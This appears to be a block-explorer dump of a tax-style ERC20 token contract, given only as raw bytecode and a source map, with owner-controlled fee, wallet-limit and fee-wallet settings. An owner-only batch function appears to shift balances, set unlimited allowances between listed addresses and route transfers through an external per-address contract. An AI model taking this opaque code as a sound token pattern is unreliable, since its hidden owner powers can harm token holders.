15612b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b569190613146565b15612b6057600091505b8115612bc85730600090815260066020526040902054612b809083612118565b30600081815260066020526040908190209290925590516001600160a01b0388169060008051602061332683398151915290612bbf9086815260200190565b60405180910390a35b612bd284836126f8565b9695505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612c1157612c116131c2565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612c6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c8e91906131a5565b81600181518110612ca157612ca16131c2565b6001600160a01b039283166020918202929092010152601b54612cc79130911684612177565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612d00908590600090869030904290600401613272565b600060405180830381600087803b158015612d1a57600080fd5b505af1158015612d2e573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612d639291906132ae565b60405180910390a15050565b601b54612d879030906001600160a01b031684612177565b601b5460055460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612df7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e1c91906132cf565b5050505050565b600060208083528351808285015260005b81811015612e5057858101830151858201604001528201612e34565b506000604082860101526040601f19601f8301168501019250505092915050565b600080600060608486031215612e8657600080fd5b505081359360208301359350604090920135919050565b6001600160a01b03811681146118f357600080fd5b60008060408385031215612ec557600080fd5b8235612ed081612e9d565b946020939093013593505050565b80151581146118f357600080fd5b60008060408385031215612eff57600080fd5b8235612f0a81612e9d565b91506020830135612f1a81612ede565b809150509250929050565b600080600060608486031215612f3a57600080fd5b8335612f4581612e9d565b92506020840135612f5581612e9d565b929592945050506040919091013590565b600060208284031215612f7857600080fd5b8135610ed481612ede565b600060208284031215612f9557600080fd5b5035919050565b600060208284031215612fae57600080fd5b8135610ed481612e9d565b60008060408385031215612fcc57600080fd5b8235612fd781612e9d565b91506020830135612f1a81612e9d565b60008083601f840112612ff957600080fd5b50813567ffffffffffffffff81111561301157600080fd5b6020830191508360208260051b850101111561302c57600080fd5b9250929050565b6000806000806040858703121561304957600080fd5b843567ffffffffffffffff8082111561306157600080fd5b61306d88838901612fe7565b9096509450602087013591508082111561308657600080fd5b5061309387828801612fe7565b95989497509550505050565b600181811c908216806130b357607f821691505b6020821081036130d357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261314157634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561315857600080fd5b8151610ed481612ede565b60208082526022908201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604082015261737360f01b606082015260800190565b6000602082840312156131b757600080fd5b8151610ed481612e9d565b634e487b7160e01b600052603260045260246000fd5b80820180821115610d6b57610d6b61310e565b6000600182016131fd576131fd61310e565b5060010190565b81810381811115610d6b57610d6b61310e565b8082028115828204841417610d6b57610d6b61310e565b600081518084526020808501945080840160005b838110156132675781516001600160a01b031687529582019590820190600101613242565b509495945050505050565b85815284602082015260a06040820152600061329160a083018661322e565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006132c7604083018461322e565b949350505050565b6000806000606084860312156132e457600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122024e027ef5e995af90194c66bf7f64fe9b557a405289593406c9873563157f31964736f6c63430008120033

Deployed Bytecode

0x6080604052600436106103c75760003560e01c806388790a68116101f2578063da00097d1161010d578063f0cd1dac116100a0578063f84ba65d1161006f578063f84ba65d14610b89578063f872858a14610ba9578063f8f6329014610bca578063fb4b8e6c14610bea57600080fd5b8063f0cd1dac14610b1d578063f1d5f51714610b33578063f2fde38b14610b53578063f680f79914610b7357600080fd5b8063e79271da116100dc578063e79271da14610a9d578063ec28438a14610abd578063ee828db314610add578063ef422a1814610afd57600080fd5b8063da00097d14610a0b578063dc44b6a014610a2c578063dd62ed3e14610a42578063e6b2603b14610a8857600080fd5b8063c2e5ec0411610185578063c860795211610154578063c86079521461098f578063c867d60b146109a5578063c9c9afc5146109d5578063d2d7ad83146109f557600080fd5b8063c2e5ec0414610919578063c49b9a8014610939578063c5d2418914610959578063c816841b1461096f57600080fd5b806398e944c8116101c157806398e944c814610899578063a457c2d7146108b9578063a5d69d1f146108d9578063a9059cbb146108f957600080fd5b806388790a68146108205780638b42507f146108365780638da5cb5b1461086657806395d89b411461088457600080fd5b80633b97084a116102e257806370a0823111610275578063807c2d9c11610244578063807c2d9c146107b357806382eefb43146107c9578063844d591c146107df57806385261485146107ff57600080fd5b806370a082311461072d578063715018a61461076357806375f0a874146107785780637d1db4a51461079d57600080fd5b80634cb80fd5116102b15780634cb80fd5146106a75780635194f9bf146106c75780635342acb4146106dd5780635881f3ef1461070d57600080fd5b80633b97084a1461061c5780633ecad2711461063c5780634a74bb021461066c5780634ada218b1461068d57600080fd5b806323555d571161035a57806327c8f8351161032957806327c8f835146105915780632b112e49146105c5578063313ce567146105da57806339509351146105fc57600080fd5b806323555d571461051b57806323b872dd146105315780632563ae831461055157806326cd1e301461057157600080fd5b80631694505e116103965780631694505e1461049c57806318160ddd146104bc5780631870517a146104db5780632198cf6c146104fb57600080fd5b806306fdde03146103d357806308733214146103fe5780630930907b14610420578063095ea7b31461046c57600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610c0a565b6040516103f59190612e23565b60405180910390f35b34801561040a57600080fd5b5061041e610419366004612e71565b610c9c565b005b34801561042c57600080fd5b506104547f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103f5565b34801561047857600080fd5b5061048c610487366004612eb2565b610d5a565b60405190151581526020016103f5565b3480156104a857600080fd5b50601b54610454906001600160a01b031681565b3480156104c857600080fd5b506017545b6040519081526020016103f5565b3480156104e757600080fd5b5061041e6104f6366004612e71565b610d71565b34801561050757600080fd5b5061041e610516366004612eec565b610e1b565b34801561052757600080fd5b506104cd60105481565b34801561053d57600080fd5b5061048c61054c366004612f25565b610e70565b34801561055d57600080fd5b5061041e61056c366004612f66565b610edb565b34801561057d57600080fd5b5061041e61058c366004612eb2565b610f23565b34801561059d57600080fd5b506104547f000000000000000000000000000000000000000000000000000000000000dead81565b3480156105d157600080fd5b506104cd611035565b3480156105e657600080fd5b5060035460405160ff90911681526020016103f5565b34801561060857600080fd5b5061048c610617366004612eb2565b6110c8565b34801561062857600080fd5b5061041e610637366004612f83565b6110fe565b34801561064857600080fd5b5061048c610657366004612f9c565b600a6020526000908152604090205460ff1681565b34801561067857600080fd5b50601c5461048c90600160a81b900460ff1681565b34801561069957600080fd5b5060085461048c9060ff1681565b3480156106b357600080fd5b5061041e6106c2366004612f9c565b611255565b3480156106d357600080fd5b506104cd60135481565b3480156106e957600080fd5b5061048c6106f8366004612f9c565b60096020526000908152604090205460ff1681565b34801561071957600080fd5b50610454610728366004612f9c565b6112cd565b34801561073957600080fd5b506104cd610748366004612f9c565b6001600160a01b031660009081526006602052604090205490565b34801561076f57600080fd5b5061041e6115e7565b34801561078457600080fd5b506003546104549061010090046001600160a01b031681565b3480156107a957600080fd5b506104cd60195481565b3480156107bf57600080fd5b506104cd601a5481565b3480156107d557600080fd5b506104cd60165481565b3480156107eb57600080fd5b5061041e6107fa366004612eec565b611661565b34801561080b57600080fd5b50601c5461048c90600160c01b900460ff1681565b34801561082c57600080fd5b506104cd60115481565b34801561084257600080fd5b5061048c610851366004612f9c565b600d6020526000908152604090205460ff1681565b34801561087257600080fd5b506000546001600160a01b0316610454565b34801561089057600080fd5b506103e86116b6565b3480156108a557600080fd5b50600554610454906001600160a01b031681565b3480156108c557600080fd5b5061048c6108d4366004612eb2565b6116c5565b3480156108e557600080fd5b5061041e6108f4366004612f66565b611714565b34801561090557600080fd5b5061048c610914366004612eb2565b61175c565b34801561092557600080fd5b5061041e610934366004612f66565b611769565b34801561094557600080fd5b5061041e610954366004612f66565b6117a6565b34801561096557600080fd5b506104cd600f5481565b34801561097b57600080fd5b50601c54610454906001600160a01b031681565b34801561099b57600080fd5b506104cd60125481565b3480156109b157600080fd5b5061048c6109c0366004612f9c565b600c6020526000908152604090205460ff1681565b3480156109e157600080fd5b5061041e6109f0366004612f9c565b611828565b348015610a0157600080fd5b506104cd60185481565b348015610a1757600080fd5b50601c5461048c90600160b01b900460ff1681565b348015610a3857600080fd5b506104cd600e5481565b348015610a4e57600080fd5b506104cd610a5d366004612fb9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a9457600080fd5b5061041e611874565b348015610aa957600080fd5b5061041e610ab8366004613033565b6118f6565b348015610ac957600080fd5b5061041e610ad8366004612f83565b611d17565b348015610ae957600080fd5b5061041e610af8366004612f66565b611dd7565b348015610b0957600080fd5b5061041e610b18366004612eec565b611e1f565b348015610b2957600080fd5b506104cd60155481565b348015610b3f57600080fd5b5061041e610b4e366004612f83565b611e74565b348015610b5f57600080fd5b5061041e610b6e366004612f9c565b611ea3565b348015610b7f57600080fd5b506104cd60145481565b348015610b9557600080fd5b5061041e610ba4366004612eec565b611f8d565b348015610bb557600080fd5b50601c5461048c90600160b81b900460ff1681565b348015610bd657600080fd5b50600454610454906001600160a01b031681565b348015610bf657600080fd5b5061041e610c05366004612f9c565b611fe2565b606060018054610c199061309f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c459061309f565b8015610c925780601f10610c6757610100808354040283529160200191610c92565b820191906000526020600020905b815481529060010190602001808311610c7557829003601f168201915b5050505050905090565b6000546001600160a01b03163314610ccf5760405162461bcd60e51b8152600401610cc6906130d9565b60405180910390fd5b601183905560128290556013819055610cf281610cec8585612118565b90612118565b601655601454610d0490600890613124565b6016541115610d555760405162461bcd60e51b815260206004820152601f60248201527f53656c6c2066656573206d7573742062652031322e3525206f72206c657373006044820152606401610cc6565b505050565b6000610d67338484612177565b5060015b92915050565b6000546001600160a01b03163314610d9b5760405162461bcd60e51b8152600401610cc6906130d9565b600e839055600f8290556010819055610db881610cec8585612118565b601555601454610dca90600890613124565b6015541115610d555760405162461bcd60e51b815260206004820152601e60248201527f4275792066656573206d7573742062652031322e3525206f72206c65737300006044820152606401610cc6565b6000546001600160a01b03163314610e455760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000610e7d84848461229b565b50610ed08433610ecb856040518060600160405280602881526020016132fe602891396001600160a01b038a16600090815260076020908152604080832033845290915290205491906126be565b612177565b5060015b9392505050565b6000546001600160a01b03163314610f055760405162461bcd60e51b8152600401610cc6906130d9565b601c8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610cc6906130d9565b306001600160a01b03831603610fc45760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610cc6565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015611011573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d559190613146565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600660205260408120546110c3906110bd6110b47f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526006602052604090205490565b601754906126f8565b906126f8565b905090565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610d67918590610ecb9086612118565b6000546001600160a01b031633146111285760405162461bcd60e51b8152600401610cc6906130d9565b61114b620186a0611145600160175461205490919063ffffffff16565b906120d6565b8110156111c05760405162461bcd60e51b815260206004820152603c60248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f206c6f776572207468616e20302e30303125206f6620746f6b656e73000000006064820152608401610cc6565b6111db6064611145600160175461205490919063ffffffff16565b8111156112505760405162461bcd60e51b815260206004820152603960248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f20686967686572207468616e203125206f6620746f6b656e73000000000000006064820152608401610cc6565b601855565b6000546001600160a01b0316331461127f5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b0381166112a55760405162461bcd60e51b8152600401610cc690613163565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600080546001600160a01b031633146112f85760405162461bcd60e51b8152600401610cc6906130d9565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561133b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135f91906131a5565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d091906131a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561141b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143f91906131a5565b91506001600160a01b03821661159657806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561148d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b191906131a5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152291906131a5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561156f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159391906131a5565b91505b601c80546001600160a01b038085166001600160a01b03199283168117909355601b80549490911693909116929092179091556000908152600a60205260409020805460ff19166001179055919050565b6000546001600160a01b031633146116115760405162461bcd60e51b8152600401610cc6906130d9565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461168b5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b606060028054610c199061309f565b6000610d673384610ecb85604051806060016040528060258152602001613346602591393360009081526007602090815260408083206001600160a01b038d16845290915290205491906126be565b6000546001600160a01b0316331461173e5760405162461bcd60e51b8152600401610cc6906130d9565b601c8054911515600160b01b0260ff60b01b19909216919091179055565b6000610ed033848461229b565b6000546001600160a01b031633146117935760405162461bcd60e51b8152600401610cc6906130d9565b6008805460ff1916911515919091179055565b6000546001600160a01b031633146117d05760405162461bcd60e51b8152600401610cc6906130d9565b601c8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061181d90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118525760405162461bcd60e51b8152600401610cc6906130d9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461189e5760405162461bcd60e51b8152600401610cc6906130d9565b604051600090339047908381818185875af1925050503d80600081146118e0576040519150601f19603f3d011682016040523d82523d6000602084013e6118e5565b606091505b50509050806118f357600080fd5b50565b6000546001600160a01b031633146119205760405162461bcd60e51b8152600401610cc6906130d9565b338382146119695760405162461bcd60e51b815260206004820152601660248201527508ae4e4dee474409ad2e6dac2e8c6d04098cadccee8d60531b6044820152606401610cc6565b6000805b838110156119ad57848482818110611987576119876131c2565b905060200201358261199991906131d8565b9150806119a5816131eb565b91505061196d565b50806119ce836001600160a01b031660009081526006602052604090205490565b1015611a1c5760405162461bcd60e51b815260206004820152601b60248201527f4572726f723a20496e73756666696369656e74204572726f72212100000000006044820152606401610cc6565b6001600160a01b038216600090815260066020526040902054611a3f90826126f8565b6001600160a01b0383166000908152600660205260408120919091555b611a67600187613204565b811015611d0e578686611a7b8360016131d8565b818110611a8a57611a8a6131c2565b9050602002016020810190611a9f9190612f9c565b600b6000898985818110611ab557611ab56131c2565b9050602002016020810190611aca9190612f9c565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060001960076000898985818110611b2757611b276131c2565b9050602002016020810190611b3c9190612f9c565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008989856001611b6d91906131d8565b818110611b7c57611b7c6131c2565b9050602002016020810190611b919190612f9c565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000858583818110611bc957611bc96131c2565b905060200201351115611cfc57611c3d858583818110611beb57611beb6131c2565b90506020020135600660008a8a86818110611c0857611c086131c2565b9050602002016020810190611c1d9190612f9c565b6001600160a01b0316815260208101919091526040016000205490612118565b60066000898985818110611c5357611c536131c2565b9050602002016020810190611c689190612f9c565b6001600160a01b03168152602081019190915260400160002055868682818110611c9457611c946131c2565b9050602002016020810190611ca99190612f9c565b6001600160a01b0316836001600160a01b0316600080516020613326833981519152878785818110611cdd57611cdd6131c2565b90506020020135604051611cf391815260200190565b60405180910390a35b80611d06816131eb565b915050611a5c565b50505050505050565b6000546001600160a01b03163314611d415760405162461bcd60e51b8152600401610cc6906130d9565b611d5d6103e8611145600160175461205490919063ffffffff16565b811015611dd25760405162461bcd60e51b815260206004820152603860248201527f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460448201527f68616e20302c3125206f6620746f74616c20737570706c7900000000000000006064820152608401610cc6565b601955565b6000546001600160a01b03163314611e015760405162461bcd60e51b8152600401610cc6906130d9565b601c8054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b03163314611e495760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611e9e5760405162461bcd60e51b8152600401610cc6906130d9565b601a55565b6000546001600160a01b03163314611ecd5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b038116611f325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610cc6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611fb75760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461200c5760405162461bcd60e51b8152600401610cc6906130d9565b6001600160a01b0381166120325760405162461bcd60e51b8152600401610cc690613163565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361206657506000610d6b565b60006120728385613217565b90508261207f8583613124565b14610ed45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610cc6565b6000610ed483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061273a565b60008061212583856131d8565b905083811015610ed45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610cc6565b6001600160a01b0383166121d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610cc6565b6001600160a01b03821661223a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610cc6565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166123015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610cc6565b6001600160a01b0383166123635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610cc6565b601c54600160a01b900460ff161561238757612380848484612768565b9050610ed4565b6001600160a01b0384166000908152600d602052604090205460ff161580156123c957506001600160a01b0383166000908152600d602052604090205460ff16155b80156123de5750601c54600160c01b900460ff165b15612446576019548211156124465760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610cc6565b30600090815260066020526040902054601854811080159081906124745750601c54600160a01b900460ff16155b801561249957506001600160a01b0386166000908152600a602052604090205460ff16155b80156124ae5750601c54600160a81b900460ff165b156124d457601c54600160b01b900460ff16156124cb5760185491505b6124d48261283c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600690915291909120546125269186906126be565b6001600160a01b038716600090815260066020908152604080832093909355600990529081205460ff168061257357506001600160a01b03861660009081526009602052604090205460ff165b612587576125828787876129e9565b612589565b845b601c54909150600160b81b900460ff1680156125be57506001600160a01b0386166000908152600c602052604090205460ff16155b1561264557601a546125e982610cec896001600160a01b031660009081526006602052604090205490565b11156126455760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610cc6565b6001600160a01b0386166000908152600660205260409020546126689082612118565b6001600160a01b038088166000818152600660205260409081902093909355915190891690600080516020613326833981519152906126aa9085815260200190565b60405180910390a360019350505050610ed4565b600081848411156126e25760405162461bcd60e51b8152600401610cc69190612e23565b5060006126ef8486613204565b95945050505050565b6000610ed483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126be565b6000818361275b5760405162461bcd60e51b8152600401610cc69190612e23565b5060006126ef8486613124565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526006909152918220546127b99184906126be565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546127e89083612118565b6001600160a01b0380851660008181526006602052604090819020939093559151908616906000805160206133268339815191529061282a9086815260200190565b60405180910390a35060019392505050565b601c805460ff60a01b1916600160a01b1790556016546015546000916128629190612118565b9050600061287d601154600e5461211890919063ffffffff16565b90506000612898601254600f5461211890919063ffffffff16565b905060006128ad600261114586818988612054565b905060006128bb86836126f8565b9050476128c782612bdc565b60006128d347836126f8565b905060006128ec6128e58860026120d6565b89906126f8565b9050600061290160026111458481878d612054565b9050600061291383611145868b612054565b90506000612925826110bd87866126f8565b9050811561296d576003546040516101009091046001600160a01b0316906108fc8415029084906000818181858888f1935050505015801561296b573d6000803e3d6000fd5b505b80156129af576004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156129ad573d6000803e3d6000fd5b505b6000831180156129bf5750600088115b156129ce576129ce8884612d6f565b5050601c805460ff60a01b1916905550505050505050505050565b6001600160a01b0383166000908152600a60205260408120548190819060ff1615612a3257612a2860646111456015548761205490919063ffffffff16565b9150859050612a73565b6001600160a01b0385166000908152600a602052604090205460ff1615612a7357612a6d60646111456016548761205490919063ffffffff16565b91508490505b6001600160a01b038181166000908152600b60205260409020541615801590612b5657506001600160a01b038181166000908152600b60209081526040808320548a8516808552600a909352818420548a86168086529483902054925163017b676760e01b815260ff9182161515600482015292161515602483015260448201929092526064810192909252608482018790529091169063017b67679060a4016020604051808303816000875af1158015612b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b569190613146565b15612b6057600091505b8115612bc85730600090815260066020526040902054612b809083612118565b30600081815260066020526040908190209290925590516001600160a01b0388169060008051602061332683398151915290612bbf9086815260200190565b60405180910390a35b612bd284836126f8565b9695505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612c1157612c116131c2565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612c6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c8e91906131a5565b81600181518110612ca157612ca16131c2565b6001600160a01b039283166020918202929092010152601b54612cc79130911684612177565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612d00908590600090869030904290600401613272565b600060405180830381600087803b158015612d1a57600080fd5b505af1158015612d2e573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612d639291906132ae565b60405180910390a15050565b601b54612d879030906001600160a01b031684612177565b601b5460055460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612df7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e1c91906132cf565b5050505050565b600060208083528351808285015260005b81811015612e5057858101830151858201604001528201612e34565b506000604082860101526040601f19601f8301168501019250505092915050565b600080600060608486031215612e8657600080fd5b505081359360208301359350604090920135919050565b6001600160a01b03811681146118f357600080fd5b60008060408385031215612ec557600080fd5b8235612ed081612e9d565b946020939093013593505050565b80151581146118f357600080fd5b60008060408385031215612eff57600080fd5b8235612f0a81612e9d565b91506020830135612f1a81612ede565b809150509250929050565b600080600060608486031215612f3a57600080fd5b8335612f4581612e9d565b92506020840135612f5581612e9d565b929592945050506040919091013590565b600060208284031215612f7857600080fd5b8135610ed481612ede565b600060208284031215612f9557600080fd5b5035919050565b600060208284031215612fae57600080fd5b8135610ed481612e9d565b60008060408385031215612fcc57600080fd5b8235612fd781612e9d565b91506020830135612f1a81612e9d565b60008083601f840112612ff957600080fd5b50813567ffffffffffffffff81111561301157600080fd5b6020830191508360208260051b850101111561302c57600080fd5b9250929050565b6000806000806040858703121561304957600080fd5b843567ffffffffffffffff8082111561306157600080fd5b61306d88838901612fe7565b9096509450602087013591508082111561308657600080fd5b5061309387828801612fe7565b95989497509550505050565b600181811c908216806130b357607f821691505b6020821081036130d357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261314157634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561315857600080fd5b8151610ed481612ede565b60208082526022908201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604082015261737360f01b606082015260800190565b6000602082840312156131b757600080fd5b8151610ed481612e9d565b634e487b7160e01b600052603260045260246000fd5b80820180821115610d6b57610d6b61310e565b6000600182016131fd576131fd61310e565b5060010190565b81810381811115610d6b57610d6b61310e565b8082028115828204841417610d6b57610d6b61310e565b600081518084526020808501945080840160005b838110156132675781516001600160a01b031687529582019590820190600101613242565b509495945050505050565b85815284602082015260a06040820152600061329160a083018661322e565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006132c7604083018461322e565b949350505050565b6000806000606084860312156132e457600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122024e027ef5e995af90194c66bf7f64fe9b557a405289593406c9873563157f31964736f6c63430008120033

Deployed Bytecode Sourcemap

11719:18254:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15977:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21682:406;;;;;;;;;;-1:-1:-1;21682:406:0;;;;;:::i;:::-;;:::i;:::-;;12266:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1052:32:1;;;1034:51;;1022:2;1007:18;12266:81:0;888:203:1;17143:161:0;;;;;;;;;;-1:-1:-1;17143:161:0;;;;;:::i;:::-;;:::i;:::-;;;1717:14:1;;1710:22;1692:41;;1680:2;1665:18;17143:161:0;1552:187:1;13533:41:0;;;;;;;;;;-1:-1:-1;13533:41:0;;;;-1:-1:-1;;;;;13533:41:0;;;16254:100;;;;;;;;;;-1:-1:-1;16334:12:0;;16254:100;;;2125:25:1;;;2113:2;2098:18;16254:100:0;1979:177:1;21278:396:0;;;;;;;;;;-1:-1:-1;21278:396:0;;;;;:::i;:::-;;:::i;18076:135::-;;;;;;;;;;-1:-1:-1;18076:135:0;;;;;:::i;:::-;;:::i;12935:35::-;;;;;;;;;;;;;;;;22371:313;;;;;;;;;;-1:-1:-1;22371:313:0;;;;;:::i;:::-;;:::i;18577:113::-;;;;;;;;;;-1:-1:-1;18577:113:0;;;;;:::i;:::-;;:::i;25662:238::-;;;;;;;;;;-1:-1:-1;25662:238:0;;;;;:::i;:::-;;:::i;12178:81::-;;;;;;;;;;;;;;;20090:156;;;;;;;;;;;;;:::i;16163:83::-;;;;;;;;;;-1:-1:-1;